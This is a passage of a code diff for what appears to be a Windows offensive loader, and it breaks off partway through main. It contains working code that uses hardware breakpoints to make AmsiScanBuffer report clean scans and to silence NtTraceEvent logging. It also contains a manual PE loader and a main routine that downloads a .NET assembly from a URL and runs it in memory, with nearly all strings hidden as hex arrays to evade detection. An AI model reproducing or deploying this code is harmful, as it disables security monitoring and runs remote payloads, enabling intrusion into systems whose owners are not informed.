#include <wininet.h>
BOOL ReadFileFromURLA(
IN LPCSTR url,
OUT PBYTE* ppFileBuffer,
OUT PDWORD pdwFileSize
);
+132 -64
View File
@@ -1,78 +1,146 @@
#include <Windows.h>
#include <stdio.h>
#include <cstdio>
#include <ntstatus.h>
BOOL HwbpEngineBreakpoint(
_In_ ULONG Position,
_In_ PVOID Function
) {
CONTEXT Context = {};
#include "winternal.h"
SecureZeroMemory(&Context, sizeof(Context));
// Ensure NT_SUCCESS is defined.
#ifndef NT_SUCCESS
#define NT_SUCCESS(Status) (((NTSTATUS)(Status)) >= 0)
#endif
Context.ContextFlags = CONTEXT_DEBUG_REGISTERS;
if (!GetThreadContext(GetCurrentThread(), &Context)) {
printf("[-] GetThreadContext Failed with Error: %lx\n", GetLastError());
return FALSE;
}
if (Function) {
(&Context.Dr0)[Position] = (UINT_PTR)Function;
// --- Static Strings (as before) ---
Context.Dr7 &= ~(3ull << (16 + 4 * Position));
Context.Dr7 &= ~(3ull << (18 + 4 * Position));
Context.Dr7 |= 1ull << (2 * Position);
}
else {
(&Context.Dr0)[Position] = 0;
Context.Dr7 &= ~(1ull << (2 * Position));
}
static const char s_err_get_thread_context[] = {
0x5B,0x2D,0x5D,0x20,0x47,0x65,0x74,0x54,0x68,0x72,0x65,0x61,0x64,0x43,0x6F,0x6E,
0x74,0x65,0x78,0x74,0x20,0x66,0x61,0x69,0x6C,0x65,0x64,0x20,0x77,0x69,0x74,0x68,
0x20,0x65,0x72,0x72,0x6F,0x72,0x3A,0x20,0x25,0x6C,0x75,0x0A,0x00
}; // "[-] GetThreadContext failed with error: %lu\n"
if (!SetThreadContext(GetCurrentThread(), &Context)) {
printf("[-] SetThreadContext Failed with Error: %lx\n", GetLastError());
return FALSE;
}
static const char s_err_invalid_slot[] = {
0x5B,0x2D,0x5D,0x20,0x49,0x6E,0x76,0x61,0x6C,0x69,0x64,0x20,0x62,0x72,0x65,0x61,
0x6B,0x70,0x6F,0x69,0x6E,0x74,0x20,0x73,0x6C,0x6F,0x74,0x3A,0x20,0x25,0x75,0x0A,
0x00
}; // "[-] Invalid breakpoint slot: %u\n"
return TRUE;
static const char s_err_ntcontinue_not_found[] = {
0x5B,0x2D,0x5D,0x20,0x4E,0x74,0x43,0x6F,0x6E,0x74,0x69,0x6E,0x75,0x65,0x20,0x6E,
0x6F,0x74,0x20,0x66,0x6F,0x75,0x6E,0x64,0x2E,0x0A,0x00
}; // "[-] NtContinue not found.\n"
static const char s_err_ntcontinue_failed[] = {
0x5B,0x2D,0x5D,0x20,0x4E,0x74,0x43,0x6F,0x6E,0x74,0x69,0x6E,0x75,0x65,0x20,0x66,
0x61,0x69,0x6C,0x65,0x64,0x20,0x77,0x69,0x74,0x68,0x20,0x73,0x74,0x61,0x74,0x75,
0x73,0x3A,0x20,0x30,0x78,0x25,0x6C,0x78,0x0A,0x00
}; // "[-] NtContinue failed with status: 0x%lx\n"
static const char s_amsi_scan_buffer[] = {
0x41,0x6D,0x73,0x69,0x53,0x63,0x61,0x6E,0x42,0x75,0x66,0x66,0x65,0x72,0x00
}; // "AmsiScanBuffer"
static const char s_nt_trace_event[] = {
0x4E,0x74,0x54,0x72,0x61,0x63,0x65,0x45,0x76,0x65,0x6E,0x74,0x00
}; // "NtTraceEvent"
static const char s_nt_continue[] = {
0x4E,0x74,0x43,0x6F,0x6E,0x74,0x69,0x6E,0x75,0x65,0x00
}; // "NtContinue"
// Narrow string for ntdll.dll is not used now; we use the wide version.
static const WCHAR s_ntdll_dll_w[] = {
0x006E,0x0074,0x0064,0x006C,0x006C,0x002E,0x0064,0x006C,0x006C,0x0000
}; // L"ntdll.dll"
// Wide string for amsi.dll.
static const WCHAR s_amsi_dll_w[] = {
0x0061,0x006D,0x0073,0x0069,0x002E,0x0064,0x006C,0x006C,0x0000
}; // L"amsi.dll"
// --- Modified Functions Using Replacement APIs ---
// Reimplementation of setting a hardware breakpoint on the current thread.
// "slot" should be 0, 1, 2, or 3. "targetAddr" is the address to break on.
bool SetUniqueHardwareBreakpoint(unsigned int slot, void* targetAddr) {
CONTEXT ctx = {};
ctx.ContextFlags = CONTEXT_DEBUG_REGISTERS;
if (!GetThreadContext(GetCurrentThread(), &ctx)) {
std::printf(s_err_get_thread_context, GetLastError());
return false;
}
// Choose the correct debug register.
switch (slot) {
case 0: ctx.Dr0 = reinterpret_cast<DWORD_PTR>(targetAddr); break;
case 1: ctx.Dr1 = reinterpret_cast<DWORD_PTR>(targetAddr); break;
case 2: ctx.Dr2 = reinterpret_cast<DWORD_PTR>(targetAddr); break;
case 3: ctx.Dr3 = reinterpret_cast<DWORD_PTR>(targetAddr); break;
default:
std::printf(s_err_invalid_slot, slot);
return false;
}
// Clear any existing configuration for this slot.
ctx.Dr7 &= ~(0xFULL << (16 + slot * 4));
// Enable the breakpoint in this slot.
ctx.Dr7 |= (1ULL << (slot * 2));
// Use NtContinue to resume execution with our modified context.
typedef NTSTATUS(NTAPI* NtContinue_t)(PCONTEXT, BOOLEAN);
NtContinue_t NtContinueFunc = reinterpret_cast<NtContinue_t>(
GetProcAddressReplacement(GetModuleHandleReplacement(s_ntdll_dll_w), s_nt_continue)
);
if (!NtContinueFunc) {
std::printf(s_err_ntcontinue_not_found);
return false;
}
NTSTATUS status = NtContinueFunc(&ctx, FALSE);
if (!NT_SUCCESS(status)) {
std::printf(s_err_ntcontinue_failed, status);
return false;
}
// (If NtContinue succeeds, this function will not return.)
return true;
}
BOOL HwbpEngineHandler(
_Inout_ PEXCEPTION_POINTERS Exceptions
) {
LONG Result = {};
PVOID AmsiAddress = {};
PVOID EtwAddress = {};
PEXCEPTION_RECORD Exception = {};
PCONTEXT Context = {};
UINT_PTR Return = {};
PULONG ScanResult = {};
// Exception handler for unique hardware breakpoints.
// This function checks if the single-step exception occurred at one of our known addresses
// and, if so, patches the context to simulate a successful function return.
LONG HandleUniqueHwbpException(PEXCEPTION_POINTERS exPtrs) {
HMODULE hAmsi = GetModuleHandleReplacement(s_amsi_dll_w);
void* addrAmsi = hAmsi ? GetProcAddressReplacement(hAmsi, s_amsi_scan_buffer) : nullptr;
HMODULE hNtdll = GetModuleHandleReplacement(s_ntdll_dll_w);
void* addrNtTrace = hNtdll ? GetProcAddressReplacement(hNtdll, s_nt_trace_event) : nullptr;
AmsiAddress = GetProcAddress(GetModuleHandleA("amsi.dll"), "AmsiScanBuffer");
EtwAddress = GetProcAddress(GetModuleHandleA("ntdll.dll"), "NtTraceEvent");
Exception = Exceptions->ExceptionRecord;
Context = Exceptions->ContextRecord;
EXCEPTION_RECORD* exRec = exPtrs->ExceptionRecord;
CONTEXT* ctx = exPtrs->ContextRecord;
if (Exception->ExceptionCode == EXCEPTION_SINGLE_STEP)
{
if (Exception->ExceptionAddress == AmsiAddress)
{
Return = *(PULONG_PTR)Context->Rsp;
ScanResult = (PULONG)(*(PULONG_PTR)(Context->Rsp + (6 * sizeof(PVOID))));
*ScanResult = 0;
Context->Rip = Return;
Context->Rsp += sizeof(PVOID);
Context->Rax = S_OK;
if (exRec->ExceptionCode != EXCEPTION_SINGLE_STEP)
return EXCEPTION_CONTINUE_SEARCH;
return EXCEPTION_CONTINUE_EXECUTION;
}
uintptr_t exAddr = reinterpret_cast<uintptr_t>(exRec->ExceptionAddress);
if (addrAmsi && exAddr == reinterpret_cast<uintptr_t>(addrAmsi)) {
// For the AmsiScanBuffer breakpoint:
DWORD64 retAddr = *reinterpret_cast<DWORD64*>(ctx->Rsp);
DWORD64* pScanResult = reinterpret_cast<DWORD64*>(
*reinterpret_cast<DWORD64*>(ctx->Rsp + 6 * sizeof(PVOID))
);
if (pScanResult) {
*pScanResult = 0;
}
ctx->Rip = retAddr;
ctx->Rsp += sizeof(PVOID);
ctx->Rax = S_OK;
return EXCEPTION_CONTINUE_EXECUTION;
}
else if (addrNtTrace && exAddr == reinterpret_cast<uintptr_t>(addrNtTrace)) {
// For the NtTraceEvent breakpoint:
ctx->Rip = *reinterpret_cast<DWORD64*>(ctx->Rsp);
ctx->Rsp += sizeof(PVOID);
ctx->Rax = STATUS_SUCCESS;
return EXCEPTION_CONTINUE_EXECUTION;
}
if (Exception->ExceptionAddress == EtwAddress)
{
Context->Rip = *(PULONG_PTR)Context->Rsp;
Context->Rsp += sizeof(PVOID);
Context->Rax = STATUS_SUCCESS;
return EXCEPTION_CONTINUE_EXECUTION;
}
}
return EXCEPTION_CONTINUE_SEARCH;
}
return EXCEPTION_CONTINUE_SEARCH;
}
+2 -7
View File
@@ -1,10 +1,5 @@
#include <Windows.h>
BOOL HwbpEngineBreakpoint(
_In_ ULONG Position,
_In_ PVOID Function
);
bool SetUniqueHardwareBreakpoint(unsigned int slot, void* targetAddr);
BOOL HwbpEngineHandler(
_Inout_ PEXCEPTION_POINTERS Exceptions
);
LONG HandleUniqueHwbpException(PEXCEPTION_POINTERS exPtrs);
+217
View File
@@ -0,0 +1,217 @@
#include <Windows.h>
#include <tchar.h>
#include <stdio.h>
// Helper: Constructs an absolute path if lpFileName does not contain any path separator.
static void BuildFullPath(LPCTSTR lpFileName, LPTSTR fullPath, size_t fullPathSize)
{
// Check if lpFileName contains '\' or '/' or ':' to determine if it is a full path.
if (_tcschr(lpFileName, _T('\\')) || _tcschr(lpFileName, _T('/')) || _tcschr(lpFileName, _T(':')))
{
_tcsncpy_s(fullPath, fullPathSize, lpFileName, _TRUNCATE);
}
else
{
// If a singular name, use the system directory.
TCHAR sysDir[MAX_PATH] = { 0 };
if (GetSystemDirectory(sysDir, MAX_PATH))
_stprintf_s(fullPath, fullPathSize, _T("%s\\%s"), sysDir, lpFileName);
else
_tcsncpy_s(fullPath, fullPathSize, lpFileName, _TRUNCATE);
}
// Debug print to verify the full path.
_tprintf(_T("BuildFullPath: %s\n"), fullPath);
}
// A simple manual PE loader that mimics LoadLibraryEx.
// It reads the DLL file from disk, maps it into memory,
// copies headers and sections, applies base relocations, resolves imports,
// and finally calls DllMain with DLL_PROCESS_ATTACH.
// dwFlags may include LOAD_LIBRARY_AS_DATAFILE or DONT_RESOLVE_DLL_REFERENCES.
HMODULE MyLoadLibraryExWrapped(LPCTSTR lpFileName, HANDLE hFileIgnored, DWORD dwFlags)
{
TCHAR fullPath[MAX_PATH] = { 0 };
BuildFullPath(lpFileName, fullPath, MAX_PATH);
// Open the file.
HANDLE hFile = CreateFile(fullPath, GENERIC_READ, FILE_SHARE_READ, NULL,
OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
if (hFile == INVALID_HANDLE_VALUE)
{
_tprintf(_T("MyLoadLibraryExWrapped: CreateFile failed for %s\n"), fullPath);
return NULL;
}
// Create a file mapping for reading.
HANDLE hFileMapping = CreateFileMapping(hFile, NULL, PAGE_READONLY, 0, 0, NULL);
if (!hFileMapping)
{
CloseHandle(hFile);
_tprintf(_T("MyLoadLibraryExWrapped: CreateFileMapping failed for %s\n"), fullPath);
return NULL;
}
LPVOID pFileBase = MapViewOfFile(hFileMapping, FILE_MAP_READ, 0, 0, 0);
if (!pFileBase)
{
CloseHandle(hFileMapping);
CloseHandle(hFile);
_tprintf(_T("MyLoadLibraryExWrapped: MapViewOfFile failed for %s\n"), fullPath);
return NULL;
}
// Validate DOS header.
PIMAGE_DOS_HEADER dosHeader = (PIMAGE_DOS_HEADER)pFileBase;
if (dosHeader->e_magic != IMAGE_DOS_SIGNATURE)
{
UnmapViewOfFile(pFileBase);
CloseHandle(hFileMapping);
CloseHandle(hFile);
_tprintf(_T("MyLoadLibraryExWrapped: Invalid DOS signature in %s\n"), fullPath);
return NULL;
}
// Get NT headers.
PIMAGE_NT_HEADERS pNTHeader = (PIMAGE_NT_HEADERS)((LPBYTE)pFileBase + dosHeader->e_lfanew);
if (pNTHeader->Signature != IMAGE_NT_SIGNATURE)
{
UnmapViewOfFile(pFileBase);
CloseHandle(hFileMapping);
CloseHandle(hFile);
_tprintf(_T("MyLoadLibraryExWrapped: Invalid NT signature in %s\n"), fullPath);
return NULL;
}
// Reserve memory for the image.
SIZE_T imageSize = pNTHeader->OptionalHeader.SizeOfImage;
LPVOID baseDll = VirtualAlloc((LPVOID)pNTHeader->OptionalHeader.ImageBase, imageSize,
MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE);
if (!baseDll)
baseDll = VirtualAlloc(NULL, imageSize, MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE);
if (!baseDll)
{
UnmapViewOfFile(pFileBase);
CloseHandle(hFileMapping);
CloseHandle(hFile);
_tprintf(_T("MyLoadLibraryExWrapped: VirtualAlloc failed for %s\n"), fullPath);
return NULL;
}
// Copy headers.
memcpy(baseDll, pFileBase, pNTHeader->OptionalHeader.SizeOfHeaders);
// Copy each section.
PIMAGE_SECTION_HEADER pSection = IMAGE_FIRST_SECTION(pNTHeader);
for (UINT i = 0; i < pNTHeader->FileHeader.NumberOfSections; i++)
{
LPVOID dest = (LPBYTE)baseDll + pSection[i].VirtualAddress;
LPVOID src = (LPBYTE)pFileBase + pSection[i].PointerToRawData;
memcpy(dest, src, pSection[i].SizeOfRawData);
}
// Clean up file mapping.
UnmapViewOfFile(pFileBase);
CloseHandle(hFileMapping);
CloseHandle(hFile);
// If not loaded as data file, perform base relocations.
if (!(dwFlags & LOAD_LIBRARY_AS_DATAFILE) &&
(DWORD_PTR)baseDll != pNTHeader->OptionalHeader.ImageBase)
{
PIMAGE_DATA_DIRECTORY relocDir = &pNTHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC];
if (relocDir->Size)
{
PIMAGE_BASE_RELOCATION pReloc = (PIMAGE_BASE_RELOCATION)((LPBYTE)baseDll + relocDir->VirtualAddress);
DWORD_PTR delta = (DWORD_PTR)baseDll - pNTHeader->OptionalHeader.ImageBase;
while (pReloc->VirtualAddress)
{
DWORD count = (pReloc->SizeOfBlock - sizeof(IMAGE_BASE_RELOCATION)) / sizeof(WORD);
PWORD pRelocData = (PWORD)((LPBYTE)pReloc + sizeof(IMAGE_BASE_RELOCATION));
for (DWORD i = 0; i < count; i++)
{
WORD typeOffset = pRelocData[i];
WORD type = typeOffset >> 12;
WORD offset = typeOffset & 0x0FFF;
if (type == IMAGE_REL_BASED_HIGHLOW)
{
PDWORD pPatch = (PDWORD)((LPBYTE)baseDll + pReloc->VirtualAddress + offset);
*pPatch += (DWORD)delta;
}
#ifdef _WIN64
else if (type == IMAGE_REL_BASED_DIR64)
{
PULONGLONG pPatch = (PULONGLONG)((LPBYTE)baseDll + pReloc->VirtualAddress + offset);
*pPatch += delta;
}
#endif
}
pReloc = (PIMAGE_BASE_RELOCATION)((LPBYTE)pReloc + pReloc->SizeOfBlock);
}
}
}
// Process imports (unless loading as data file or if flag to not resolve imports is set).
if (!(dwFlags & (LOAD_LIBRARY_AS_DATAFILE | DONT_RESOLVE_DLL_REFERENCES)))
{
PIMAGE_DATA_DIRECTORY importDir = &pNTHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT];
if (importDir->Size)
{
PIMAGE_IMPORT_DESCRIPTOR pImportDesc = (PIMAGE_IMPORT_DESCRIPTOR)((LPBYTE)baseDll + importDir->VirtualAddress);
while (pImportDesc->Name)
{
LPCTSTR importName = (LPCTSTR)((LPBYTE)baseDll + pImportDesc->Name);
// Load dependency using standard LoadLibrary (or recursively call MyLoadLibraryExWrapped if desired).
HMODULE hImport = LoadLibrary(importName);
if (!hImport)
{
VirtualFree(baseDll, 0, MEM_RELEASE);
_tprintf(_T("MyLoadLibraryExWrapped: Failed to load dependency %s\n"), importName);
return NULL;
}
PIMAGE_THUNK_DATA pOrigThunk = (PIMAGE_THUNK_DATA)((LPBYTE)baseDll + pImportDesc->OriginalFirstThunk);
PIMAGE_THUNK_DATA pThunk = (PIMAGE_THUNK_DATA)((LPBYTE)baseDll + pImportDesc->FirstThunk);
while (pOrigThunk->u1.AddressOfData)
{
FARPROC proc = NULL;
if (pOrigThunk->u1.Ordinal & IMAGE_ORDINAL_FLAG)
{
WORD ordinal = IMAGE_ORDINAL(pOrigThunk->u1.Ordinal);
proc = GetProcAddress(hImport, (LPCSTR)ordinal);
}
else
{
PIMAGE_IMPORT_BY_NAME pImport = (PIMAGE_IMPORT_BY_NAME)((LPBYTE)baseDll + pOrigThunk->u1.AddressOfData);
proc = GetProcAddress(hImport, (LPCSTR)pImport->Name);
}
if (!proc)
{
VirtualFree(baseDll, 0, MEM_RELEASE);
_tprintf(_T("MyLoadLibraryExWrapped: Failed to resolve import in %s\n"), importName);
return NULL;
}
pThunk->u1.Function = (ULONG_PTR)proc;
pOrigThunk++;
pThunk++;
}
pImportDesc++;
}
}
}
// Call the DLL's entry point (DllMain) for DLL_PROCESS_ATTACH.
if (!(dwFlags & LOAD_LIBRARY_AS_DATAFILE))
{
if (pNTHeader->FileHeader.Characteristics & IMAGE_FILE_DLL)
{
typedef BOOL(WINAPI* DllMainProc)(HINSTANCE, DWORD, LPVOID);
DllMainProc pDllMain = (DllMainProc)((LPBYTE)baseDll + pNTHeader->OptionalHeader.AddressOfEntryPoint);
if (pDllMain)
pDllMain((HINSTANCE)baseDll, DLL_PROCESS_ATTACH, NULL);
}
}
// Return the base address as the module handle.
_tprintf(_T("MyLoadLibraryExWrapped: Successfully loaded %s at 0x%p\n"), fullPath, baseDll);
return (HMODULE)baseDll;
}
+7
View File
@@ -0,0 +1,7 @@
#pragma once
#include <Windows.h>
#include <tchar.h>
#include <stdio.h>
static void BuildFullPath(LPCTSTR lpFileName, LPTSTR fullPath, size_t fullPathSize);
HMODULE MyLoadLibraryExWrapped(LPCTSTR lpFileName, HANDLE hFileIgnored, DWORD dwFlags);
+34
View File
@@ -0,0 +1,34 @@
#include "LocalFileReaderA.h"
#include <stdio.h>
BOOL ReadLocalFileA(LPCSTR filePath, PBYTE* pBuffer, PDWORD pSize) {
HANDLE hFile = CreateFileA(filePath, GENERIC_READ, FILE_SHARE_READ, NULL,
OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
if (hFile == INVALID_HANDLE_VALUE) {
printf("[-] Unable to open local file: %s\n", filePath);
return FALSE;
}
DWORD fileSize = GetFileSize(hFile, NULL);
if (fileSize == INVALID_FILE_SIZE) {
printf("[-] GetFileSize failed for: %s\n", filePath);
CloseHandle(hFile);
return FALSE;
}
PBYTE buffer = (PBYTE)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, fileSize);
if (!buffer) {
printf("[-] HeapAlloc failed for local file buffer.\n");
CloseHandle(hFile);
return FALSE;
}
DWORD bytesRead = 0;
BOOL readResult = ReadFile(hFile, buffer, fileSize, &bytesRead, NULL);
CloseHandle(hFile);
if (!readResult || bytesRead != fileSize) {
printf("[-] ReadFile failed for: %s\n", filePath);
HeapFree(GetProcessHeap(), 0, buffer);
return FALSE;
}
*pBuffer = buffer;
*pSize = fileSize;
return TRUE;
}
+20
View File
@@ -0,0 +1,20 @@
#ifndef LOCALFILEREADER_H
#define LOCALFILEREADER_H
#include <Windows.h>
#ifdef __cplusplus
extern "C" {
#endif
// Reads a local file specified by filePath into memory.
// On success, *pBuffer receives the allocated buffer containing the file data,
// and *pSize receives the size of the file in bytes.
// Returns TRUE on success, or FALSE on error.
BOOL ReadLocalFileA(LPCSTR filePath, PBYTE* pBuffer, PDWORD pSize);
#ifdef __cplusplus
}
#endif
#endif // LOCALFILEREADER_H
+242 -36
View File
@@ -2,73 +2,279 @@
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include "DotnetExecute.h"
#include <string>
BOOL ReadFileFromURLA(
IN LPCSTR url,
OUT PBYTE* ppFileBuffer,
OUT PDWORD pdwFileSize
);
#include "Base64.h"
#include "DotnetExecute.h"
#include "Http.h"
#include "LocalFileReaderA.h"
// All runtime strings are now stored as arrays of character codes.
// print_usage strings
static const char s_usage1[] = { 0x55,0x73,0x61,0x67,0x65,0x3A,0x0A,0x00 }; // "Usage:\n"
static const char s_usage2[] = {
0x20,0x20,0x25,0x73,0x20,0x2D,0x70,0x61,0x74,0x68,0x20,
0x3C,0x6C,0x6F,0x63,0x61,0x74,0x69,0x6F,0x6E,0x3E,0x20,
0x2D,0x61,0x20,
0x3C,0x63,0x6C,0x65,0x61,0x72,0x74,0x65,0x78,0x74,0x20,0x61,0x72,0x67,0x75,0x6D,0x65,0x6E,0x74,0x73,0x3E,0x0A,0x00
};
static const char s_usage3[] = {
0x20,0x20,0x25,0x73,0x20,0x2D,0x70,0x61,0x74,0x68,0x20,
0x3C,0x6C,0x6F,0x63,0x61,0x74,0x69,0x6F,0x6E,0x3E,0x20,
0x2D,0x62,0x36,0x34,0x20,
0x3C,0x62,0x61,0x73,0x65,0x36,0x34,0x20,0x65,0x6E,0x63,0x6F,0x64,0x65,0x64,0x20,
0x61,0x72,0x67,0x75,0x6D,0x65,0x6E,0x74,0x73,0x3E,0x0A,0x00
};
static const char s_usage4[] = { 0x0A,0x4F,0x70,0x74,0x69,0x6F,0x6E,0x73,0x3A,0x0A,0x00 }; // "\nOptions:\n"
static const char s_usage5[] = {
0x20,0x20,0x2D,0x70,0x61,0x74,0x68,0x20,0x20,0x20,0x20,
0x53,0x70,0x65,0x63,0x69,0x66,0x79,0x20,0x74,0x68,0x65,0x20,0x6C,0x6F,0x63,0x61,
0x74,0x69,0x6F,0x6E,0x20,0x6F,0x66,0x20,0x74,0x68,0x65,0x20,0x61,0x73,0x73,0x65,
0x6D,0x62,0x6C,0x79,0x2E,0x20,0x49,0x66,0x20,0x74,0x68,0x65,0x20,0x70,0x61,0x74,
0x68,0x20,0x62,0x65,0x67,0x69,0x6E,0x73,0x20,0x77,0x69,0x74,0x68,0x20,
0x22, // double quote character (0x22)
0x68,0x74,0x74,0x70,
0x22, // double quote character (0x22)
0x2C,0x0A,0x00
};
static const char s_usage6[] = {
0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x20, // 11 spaces
0x61,0x6E,0x20,
0x48,0x54,0x54,0x50,0x20,
0x72,0x65,0x71,0x75,0x65,0x73,0x74,0x20,
0x69,0x73,0x20,
0x6D,0x61,0x64,0x65,0x3B,0x20,
0x6F,0x74,0x68,0x65,0x72,0x77,0x69,0x73,0x65,0x2C,0x20,
0x69,0x74,0x20,
0x69,0x73,0x20,
0x74,0x72,0x65,0x61,0x74,0x65,0x64,0x20,
0x61,0x73,0x20,
0x61,0x20,
0x6C,0x6F,0x63,0x61,0x6C,0x20,
0x66,0x69,0x6C,0x65,0x2E,0x0A,0x00
};
static const char s_usage7[] = {
0x20,0x20,0x2D,0x61,0x20,
0x20,0x20,0x20,0x20,0x20,0x20, // 7 spaces
0x50,0x72,0x6F,0x76,0x69,0x64,0x65,0x20,
0x63,0x6C,0x65,0x61,0x72,0x74,0x65,0x78,0x74,0x20,
0x61,0x72,0x67,0x75,0x6D,0x65,0x6E,0x74,0x73,0x20,
0x66,0x6F,0x72,0x20,
0x44,0x6F,0x74,0x6E,0x65,0x74,0x45,0x78,0x65,0x63,0x75,0x74,0x65,0x2E,0x0A,0x00
};
static const char s_usage8[] = {
0x20,0x20,0x2D,0x62,0x36,0x34,0x20,
0x20,0x20,0x20,0x20, // 5 spaces
0x50,0x72,0x6F,0x76,0x69,0x64,0x65,0x20,
0x62,0x61,0x73,0x65,0x36,0x34,0x20,
0x65,0x6E,0x63,0x6F,0x64,0x65,0x64,0x20,
0x61,0x72,0x67,0x75,0x6D,0x65,0x6E,0x74,0x73,0x20,
0x66,0x6F,0x72,0x20,
0x44,0x6F,0x74,0x6E,0x65,0x74,0x45,0x78,0x65,0x63,0x75,0x74,0x65,0x2E,0x0A,0x00
};
// Error messages in main.
static const char s_err_read_url[] = {
0x5B,0x2D,0x5D,0x20,0x52,0x65,0x61,0x64,0x46,0x69,0x6C,0x65,0x46,0x72,0x6F,0x6D,
0x55,0x52,0x4C,0x41,0x20,0x66,0x61,0x69,0x6C,0x65,0x64,0x20,0x66,0x6F,0x72,0x20,
0x55,0x52,0x4C,0x3A,0x20,0x25,0x73,0x0A,0x00
};
static const char s_err_read_local[] = {
0x5B,0x2D,0x5D,0x20,0x52,0x65,0x61,0x64,0x4C,0x6F,0x63,0x61,0x6C,0x46,0x69,0x6C,
0x65,0x41,0x20,0x66,0x61,0x69,0x6C,0x65,0x64,0x20,0x66,0x6F,0x72,0x20,0x66,0x69,
0x6C,0x65,0x3A,0x20,0x25,0x73,0x0A,0x00
};
static const char s_err_mb_to_wc_len[] = {
0x5B,0x2D,0x5D,0x20,0x4D,0x75,0x6C,0x74,0x69,0x42,0x79,0x74,0x65,0x54,0x6F,0x57,
0x69,0x64,0x65,0x43,0x68,0x61,0x72,0x20,0x66,0x61,0x69,0x6C,0x65,0x64,0x20,0x74,
0x6F,0x20,0x67,0x65,0x74,0x20,0x6C,0x65,0x6E,0x67,0x74,0x68,0x2E,0x0A,0x00
};
static const char s_err_heap_alloc_wc[] = {
0x5B,0x2D,0x5D,0x20,0x48,0x65,0x61,0x70,0x41,0x6C,0x6C,0x6F,0x63,0x20,0x66,0x61,
0x69,0x6C,0x65,0x64,0x20,0x66,0x6F,0x72,0x20,0x77,0x69,0x64,0x65,0x20,0x63,0x68,
0x61,0x72,0x20,0x61,0x72,0x67,0x75,0x6D,0x65,0x6E,0x74,0x73,0x2E,0x0A,0x00
};
static const char s_err_mb_to_wc_conv[] = {
0x5B,0x2D,0x5D,0x20,0x4D,0x75,0x6C,0x74,0x69,0x42,0x79,0x74,0x65,0x54,0x6F,0x57,
0x69,0x64,0x65,0x43,0x68,0x61,0x72,0x20,0x63,0x6F,0x6E,0x76,0x65,0x72,0x73,0x69,
0x6F,0x6E,0x20,0x66,0x61,0x69,0x6C,0x65,0x64,0x2E,0x0A,0x00
};
static const char s_err_heap_alloc_args[] = {
0x5B,0x2D,0x5D,0x20,0x48,0x65,0x61,0x70,0x41,0x6C,0x6C,0x6F,0x63,0x20,0x66,0x61,
0x69,0x6C,0x65,0x64,0x20,0x66,0x6F,0x72,0x20,0x61,0x72,0x67,0x75,0x6D,0x65,0x6E,
0x74,0x73,0x2E,0x0A,0x00
};
static const char s_err_mbstowcs[] = {
0x5B,0x2D,0x5D,0x20,0x6D,0x62,0x73,0x74,0x6F,0x77,0x63,0x73,0x5F,0x73,0x20,
0x66,0x61,0x69,0x6C,0x65,0x64,0x20,0x6F,0x6E,0x20,0x61,0x72,0x67,0x75,0x6D,0x65,
0x6E,0x74,0x20,0x25,0x64,0x2E,0x0A,0x00
};
static const char s_err_heap_alloc_empty[] = {
0x5B,0x2D,0x5D,0x20,0x48,0x65,0x61,0x70,0x41,0x6C,0x6C,0x6F,0x63,0x20,0x66,0x61,
0x69,0x6C,0x65,0x64,0x20,0x66,0x6F,0x72,0x20,0x65,0x6D,0x70,0x74,0x79,0x20,0x61,
0x72,0x67,0x75,0x6D,0x65,0x6E,0x74,0x73,0x2E,0x0A,0x00
};
static const char s_err_dotnet[] = {
0x5B,0x2D,0x5D,0x20,0x44,0x6F,0x74,0x6E,0x65,0x74,0x45,0x78,0x65,0x63,0x75,0x74,
0x65,0x20,0x46,0x61,0x69,0x6C,0x65,0x64,0x00
};
static const char s_output[] = { 0x0A,0x0A,0x25,0x73,0x00 }; // "\n\n%s"
// Additional flags and text.
static const char s_http[] = { 0x68,0x74,0x74,0x70,0x00 }; // "http"
static const char s_path_flag[] = { 0x2D,0x70,0x61,0x74,0x68,0x00 }; // "-path"
static const char s_b64_flag[] = { 0x2D,0x62,0x36,0x34,0x00 }; // "-b64"
static const char s_a_flag[] = { 0x2D,0x61,0x00 }; // "-a"
// Wide-character strings.
static const WCHAR s_myappdomain[] = { 0x004D,0x0079,0x0041,0x0070,0x0070,0x0044,0x006F,0x006D,0x0061,0x0069,0x006E,0x0000 }; // "MyAppDomain"
static const WCHAR s_space[] = { 0x0020,0x0000 }; // " "
void print_usage(const char* progname) {
printf("%s", s_usage1);
printf(s_usage2, progname);
printf(s_usage3, progname);
printf("%s", s_usage4);
printf("%s", s_usage5);
printf("%s", s_usage6);
printf("%s", s_usage7);
printf("%s", s_usage8);
}
int main(int argc, char* argv[]) {
PBYTE AssemblyBytes = NULL;
DWORD AssemblySize = 0;
LPSTR OutputBuffer = NULL;
ULONG OutputLength = 0;
PWSTR arguments = NULL;
if (argc < 2) {
printf("Usage: %s <url> [arguments...]\n", argv[0]);
// At a minimum, require: -path <location> and an arguments flag.
if (argc < 3) {
print_usage(argv[0]);
return 1;
}
LPCSTR url = argv[1];
PWSTR arguments = NULL;
// Process the location flag.
if (strcmp(argv[1], s_path_flag) != 0) {
print_usage(argv[0]);
return 1;
}
if (argc > 2) {
size_t totalLen = 0;
for (int i = 2; i < argc; i++) {
totalLen += strlen(argv[i]) + 1;
}
LPCSTR location = argv[2];
BOOL isHTTP = (_strnicmp(location, s_http, 4) == 0);
arguments = (PWSTR)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, totalLen * sizeof(WCHAR));
if (!arguments) {
printf("[-] HeapAlloc failed for arguments\n");
if (isHTTP) {
if (!ReadFileFromURLA(location, &AssemblyBytes, &AssemblySize)) {
printf(s_err_read_url, location);
return 1;
}
}
else {
if (!ReadLocalFileA(location, &AssemblyBytes, &AssemblySize)) {
printf(s_err_read_local, location);
return 1;
}
}
size_t convertedChars = 0;
for (int i = 2; i < argc; i++) {
errno_t err = mbstowcs_s(&convertedChars, arguments + wcslen(arguments), totalLen, argv[i], _TRUNCATE);
if (err != 0) {
printf("[-] mbstowcs_s failed with error code: %d\n", err);
HeapFree(GetProcessHeap(), 0, arguments);
// Process the arguments flag.
if (argc > 3) {
if (strcmp(argv[3], s_b64_flag) == 0) {
if (argc < 5) {
print_usage(argv[0]);
